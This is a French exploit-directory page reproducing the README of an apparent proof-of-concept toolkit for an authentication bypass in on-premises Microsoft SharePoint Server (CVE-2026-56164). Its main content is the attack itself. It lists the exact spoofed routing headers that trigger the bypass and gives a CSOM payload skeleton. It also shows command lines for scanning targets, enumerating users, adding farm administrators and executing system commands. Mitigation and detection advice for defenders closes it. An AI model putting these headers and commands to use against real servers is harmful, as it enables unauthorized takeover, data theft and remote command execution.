Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2026-56164-exploit — CVE-2026-56164 est une vulnérabilité critique d'absence d'authentification affectant Microsoft SharePoint Server sur site. Elle permet à des attaquants distants non authentifiés d'élever leurs privilèges sur un réseau. | Kitploit
Outils/GitHubGitHub/sam00/poc-cve-2026-56164-exploit
Authentification et AutorisationEscalade de PrivilègesScanners de VulnérabilitésGénération de PayloadsExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubsam00/poc-cve-2026-56164-exploit

POC-CVE-2026-56164-exploit

CVE-2026-56164 est une vulnérabilité critique d'absence d'authentification affectant Microsoft SharePoint Server sur site. Elle permet à des attaquants distants non authentifiés d'élever leurs privilèges sur un réseau.

Voir le dépôt
2il y a 15 joursPas encore vérifié

CVE-2026-56164 — Exploit de contournement d'authentification Microsoft SharePoint Server

Critique (CVSS 9.8) — Élévation de privilèges non authentifiée au niveau Administrateur de batterie dans Microsoft SharePoint Server

Table des matières

  • Vue d'ensemble
  • Détails de la vulnérabilité
  • Versions concernées
  • Diagrammes d'architecture
  • Structure du projet
  • Installation
  • Utilisation du scanner — Étape par étape
  • Utilisation de l'exploit — Étape par étape
  • Conception des payloads
  • Mesures d'atténuation
  • Avertissement

Vue d'ensemble

CVE-2026-56164 est une vulnérabilité critique d'absence d'authentification dans Microsoft SharePoint Server qui permet à un attaquant distant non authentifié d'élever ses privilèges au niveau Administrateur de batterie. La vulnérabilité réside dans l'assembly Microsoft.Office.Server.UserProfiles qui traite les requêtes SOAP sur /_vti_bin/client.svc/ProcessQuery.

En omettant intentionnellement l'en-tête X-RequestDigest et en fournissant des en-têtes de routage spécifiques, le serveur vulnérable retombe dans un contexte de sécurité élevé au lieu de rejeter la requête non authentifiée. Cela permet à des attaquants anonymes d'énumérer les collections de sites, les utilisateurs, la configuration de la batterie de serveurs, d'ajouter des administrateurs et d'exécuter des commandes.

CISA KEV : Cette vulnérabilité est inscrite au catalogue des vulnérabilités connues et exploitées (KEV) de la CISA en raison d'une exploitation active dans la nature.


Détails de la vulnérabilité

Cause racine

Le gestionnaire Microsoft.Office.Server.UserProfiles traite les requêtes SOAP sur /_vti_bin/client.svc/ProcessQuery. En fonctionnement normal, SharePoint valide l'en-tête X-RequestDigest pour vérifier le contexte d'authentification. Cependant, un contournement de validation existe :

  1. Si X-RequestDigest est absent ET que des en-têtes de routage spécifiques sont présents
  2. Le système évalue les paramètres de routage et retombe dans un état par défaut hautement privilégié
  3. La requête est traitée avec des informations d'identification de niveau système au lieu du contexte de sécurité de l'appelant

Chemin de code vulnérable

root@kitploit:~
// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
    // Bypasses standard identity validation → elevated admin session
    InitializeElevatedSecurityContext(context);
} else {
    ValidateRequestDigest(digest);  // Normal path
}

Code corrigé

root@kitploit:~
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
    context.Response.StatusCode = 401;
    throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);

Références des avis

  • MSRC : https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164
  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-56164
  • CISA KEV : https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56164

Versions concernées

ProduitVersions concernéesVersion corrigée
SharePoint Enterprise Server 2016Toutes les versions 16.0.x antérieures au correctif16.0.5561.1001
SharePoint Server 2019

Non concerné : SharePoint Online (Microsoft 365)


Diagrammes d'architecture

Architecture système

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                   CVE-2026-56164 Exploit Toolkit                     │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌────────────┐     ┌─────────────────┐     ┌────────────────────┐  │
│  │  scan.py   │────▶│  HTTP Fingerprint│     │  payload_gen.py    │  │
│  │  Scanner   │     │  + Version Check │     │                    │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ CSOM Payloads│  │  │
│         │  Reports:                         │  │ (detection,  │  │  │
│         │  • SharePoint detected?           │  │  enum,       │  │  │
│         │  • Server version                 │  │  elevate,    │  │  │
│         │  • Vulnerable?                    │  │  execute)    │  │  │
│         │  • Auth bypass confirmed?         │  └──────────────┘  │  │
│         ▼                                   │  ┌──────────────┐  │  │
│  ┌────────────┐     ┌─────────────────┐     │  │ SOAP Payloads│  │  │
│  │ exploit.py │────▶│  HTTP Request   │     │  │ (admin, exec)│  │  │
│  │  Exploit   │     │  Delivery       │     │  └──────────────┘  │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ Bypass       │  │  │
│         │  ┌──────────────────────┐         │  │ Headers      │  │  │
│         ├─▶│ MODE: detect         │         │  │ (routing)    │  │  │
│         │  │ Safe, non-intrusive  │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         │  ┌──────────────┐  │  │
│         │  ┌──────────────────────┐         │  │ HTTP Request │  │  │
│         ├─▶│ MODE: enumerate      │         │  │ Builder      │  │  │
│         │  │ Sites, users, config │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         └────────────────────┘  │
│         │  ┌──────────────────────┐                                 │
│         ├─▶│ MODE: elevate        │     ┌──────────────────────┐    │
│         │  │ Add site/farm admin  │     │ Target SharePoint    │    │
│         │  └──────────────────────┘     │ /_vti_bin/client.svc │    │
│         │  ┌──────────────────────┐     │ /_vti_bin/SPAdmin    │    │
│         └─▶│ MODE: execute        │     └──────────────────────┘    │
│            │ System commands      │                                 │
│            └──────────────────────┘                                 │
│         │  ┌──────────────────────┐                                 │
│         └─▶│ MODE: full           │  detect→enum→elevate→execute    │
│            └──────────────────────┘                                 │
└─────────────────────────────────────────────────────────────────────┘

Flux du scanner

root@kitploit:~
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip       │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443)           │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ SharePoint       │──────────▶│ Not SP      │
│ fingerprint?     │            └─────────────┘
│ (MSST header,    │
│  _vti_bin,       │
│  suitebar, etc.) │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract version  │
│ from MSST header │
│ / response body  │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o    │
│  digest + bypass │
│  headers)        │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Bypass status  │
│ • SSL cert info  │
└──────────────────┘

Flux de l'exploit (chaîne complète)

root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  FULL EXPLOIT CHAIN                                              │
│                                                                  │
│  1. Detect — Authentication Bypass                               │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/client.svc/ProcessQuery                  │   │
│  │  [NO X-RequestDigest]                                    │   │
│  │  X-SharePoint-Authenticated: 1                           │   │
│  │  X-SP-RequestRights: FullControl                         │   │
│  │  SPHomeBearerHint: farmadmin                             │   │
│  │  Body: CSOM detection payload                            │   │
│  │                                                          │   │
│  │  → If 200: AUTH BYPASS CONFIRMED                         │   │
│  │  → If 401: Not vulnerable                                │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  2. Enumerate            ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  Enumerate site collections (URL, owner, status)         │   │
│  │  Enumerate users (account, display name, email, admin)   │   │
│  │  Retrieve farm config (DB name, server, farm ID)         │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  3. Elevate             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  SetIsSiteAdmin(true) → Current context = Site Admin     │   │
│  │  AddUserToWeb → Add specific user as Farm Administrator  │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  4. Execute             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/SharePointAdmin.asmx                     │   │
│  │  Body: ExecuteCommand SOAP payload                       │   │
│  │  → System command executed with farm-level privileges    │   │
│  └──────────────────────────────────────────────────────────┘   │
└──────────────────────────────────────────────────────────────────┘

Structure du projet

root@kitploit:~
POC-CVE-2026-56164-exploit/
├── payload_gen.py      # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py             # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py          # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt    # Python dependencies
└── README.md           # This file

Installation

root@kitploit:~
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit

# Install dependencies
pip3 install -r requirements.txt

Prérequis : Python 3.8+, bibliothèque requests (facultatif — la bibliothèque standard urllib est utilisée par défaut).


Utilisation du scanner — Étape par étape

Le scanner effectue des contrôles sûrs et non intrusifs pour identifier les serveurs SharePoint cibles vulnérables.

Étape 1 : Scanner une seule cible

root@kitploit:~
python3 scan.py --target sharepoint.example.com

Le scanner va :

  • Sonder les ports courants (443, 80, 8080, 8443)
  • Envoyer des requêtes HTTP et vérifier les empreintes SharePoint (en-têtes, contenu du corps)
  • Extraire la version de SharePoint depuis l'en-tête MicrosoftSharePointTeamServices
  • Vérifier si la version se trouve dans les plages vulnérables
  • Tester le contournement d'authentification (facultatif)
  • Afficher un rapport codé en couleur

Étape 2 : Scanner avec un port spécifique

root@kitploit:~
python3 scan.py --target sharepoint.example.com --port 443

Étape 3 : Scanner plusieurs cibles depuis un fichier

Créez un fichier targets.txt :

root@kitploit:~
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
root@kitploit:~
python3 scan.py --targets targets.txt

Étape 4 : Ignorer le test de contournement (empreinte uniquement)

root@kitploit:~
python3 scan.py --target sharepoint.example.com --no-bypass-test

Étape 5 : Enregistrer les résultats au format JSON

root@kitploit:~
python3 scan.py --target sharepoint.example.com --json scan_results.json

Ce que le scanner détecte


Utilisation de l'exploit — Étape par étape

L'exploit prend en charge cinq modes d'intensité croissante.

Mode 1 : Détection (sûr, non intrusif)

Teste le contournement d'authentification en comparant une requête normale (avec digest) à une requête de contournement (sans digest + en-têtes de routage).

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode detect

Mode 2 : Énumération (divulgation d'informations)

Extrait les collections de sites, les utilisateurs et la configuration de la batterie de serveurs à l'aide du contournement d'authentification.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode enumerate

Mode 3 : Élévation (élévation de privilèges)

Élève le contexte anonyme actuel ou un utilisateur spécifique au niveau Administrateur de collection de sites / Administrateur de batterie.

root@kitploit:~
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate

# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"

Mode 4 : Exécution (exécution de commandes)

Exécute une commande système via le service SOAP d'administration SharePoint.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"

Mode 5 : Chaîne complète (Détection → Énumération → Élévation → Exécution)

Exécute la chaîne d'exploitation complète en séquence.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"

Options courantes

  • --port / -p : Port cible (défaut : 443)
  • --http : Utiliser HTTP au lieu de HTTPS
  • --site-url / -s : URL du site SharePoint (défaut : cible)
  • --json / -j : Enregistrer le rapport au format JSON
  • --timeout : Délai d'expiration des requêtes en secondes (défaut : 30)

Conception des payloads

Mécanisme de contournement d'authentification

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Request to /_vti_bin/client.svc/ProcessQuery             │
├─────────────────────────────────────────────────────────────────┤
│  POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1              │
│  Host: sharepoint.example.com                                  │
│  Content-Type: text/xml; charset=utf-8                         │
│  [X-RequestDigest: OMITTED]                                    │
│  X-SharePoint-Authenticated: 1                                 │
│  X-SP-RequestRights: FullControl                               │
│  X-SP-RequestRights2: ManageLists, ManageWeb                   │
│  SPHomeBearerHint: farmadmin                                   │
│  X-RequestForceAuthentication: false                           │
│  X-SP-Proxy: internal                                          │
│  X-Forwarded-For: 127.0.0.1                                    │
│  X-Original-URL: /_vti_bin/client.svc/ProcessQuery             │
│                                                                 │
│  [CSOM/SOAP Payload Body]                                      │
└─────────────────────────────────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────────────┐
│  Vulnerable SharePoint Server                                   │
│                                                                 │
│  1. digest = Headers["X-RequestDigest"]  → NULL                │
│  2. CheckSpecialRoutingHeaders(context)  → TRUE (≥3 headers)   │
│  3. InitializeElevatedSecurityContext()  → FARM ADMIN          │
│  4. Process SOAP request with system-level credentials          │
└─────────────────────────────────────────────────────────────────┘

Structure d'un payload CSOM

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
         ApplicationName="SharePointExploit"
         LibraryVersion="16.0.0"
         RequestId="{UUID}">
  <Actions>
    [Detection / Enumeration / Elevation actions]
  </Actions>
  <Context>
    <ContextId>Current</ContextId>
    <Version>16.0.0</Version>
    <SiteUrl>{TARGET}</SiteUrl>
  </Context>
</Request>

En-têtes de routage de contournement


Mesures d'atténuation

Actions immédiates

  1. Appliquez les mises à jour de sécurité Microsoft — Installez les correctifs SharePoint de juillet 2026
  2. Restreignez l'accès — Limitez les points de terminaison SharePoint aux réseaux de confiance uniquement
  3. Bloquez l'accès externe aux points de terminaison /_vti_bin/ via des règles de proxy inverse/WAF
  4. Surveillez les journaux pour détecter les requêtes non authentifiées vers /_vti_bin/client.svc/ProcessQuery

Versions corrigées

  • SharePoint Enterprise Server 2016 : 16.0.5561.1001+
  • SharePoint Server 2019 : 16.0.10417.20175+
  • SharePoint Server Subscription Edition : 16.0.19725.20434+

Détection

  • Recherchez les requêtes POST vers /_vti_bin/client.svc/ProcessQuery sans l'en-tête X-RequestDigest
  • Recherchez les requêtes contenant plusieurs en-têtes de routage de contournement (X-SharePoint-Authenticated, SPHomeBearerHint, etc.)
  • Surveillez les ajouts inattendus d'administrateurs de collection de sites
  • Alertez sur les requêtes SOAP vers /_vti_bin/SharePointAdmin.asmx provenant de sources non authentifiées

Avertissement

Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation écrite explicite. Toute utilisation non autorisée contre des systèmes de production est illégale et peut enfreindre les lois relatives à la fraude et aux abus informatiques.

Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de cet outil. Suivez toujours les pratiques de divulgation responsable et respectez les lois et réglementations applicables.

Télécharger l’outil
ChampValeur
ID CVECVE-2026-56164
GravitéCRITIQUE
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-306: Absence d'authentification pour une fonction critique
ImpactÉlévation de privilèges non authentifiée vers Administrateur de batterie
Statut d'exploitationExploitation active (CISA KEV)
MITRE ATT&CKT1190 (Exploitation d'une application exposée au public)
Toutes les versions 16.0.x antérieures au correctif
16.0.10417.20175
SharePoint Server Subscription EditionToutes les versions 16.0.x antérieures au correctif16.0.19725.20434
IndicateurMéthode
Serveur SharePointEmpreinte via en-têtes HTTP (MicrosoftSharePointTeamServices, SPRequestGuid)
Version du serveurAnalyse des en-têtes + regex du corps de réponse
Version vulnérableComparaison avec les versions corrigées de CVE-2026-56164
Contournement d'authentificationRequête CSOM sans X-RequestDigest + en-têtes de routage de contournement
Certificat SSLSujet/émetteur du certificat pour l'identification de la cible
En-têteValeurFonction
X-SharePoint-Authenticated1Indiquer que l'authentification a déjà été validée
X-SP-RequestRightsFullControlDemander des autorisations de contrôle total
X-SP-RequestRights2ManageLists, ManageWebDroits de gestion supplémentaires
SPHomeBearerHintfarmadminIndiquer un contexte d'administrateur de batterie
X-RequestForceAuthenticationfalseDésactiver l'authentification forcée
X-SP-ProxyinternalIndiquer une origine proxy interne
X-Forwarded-For127.0.0.1Usurper une origine locale
X-Original-URL/_vti_bin/client.svc/ProcessQueryDirective de routage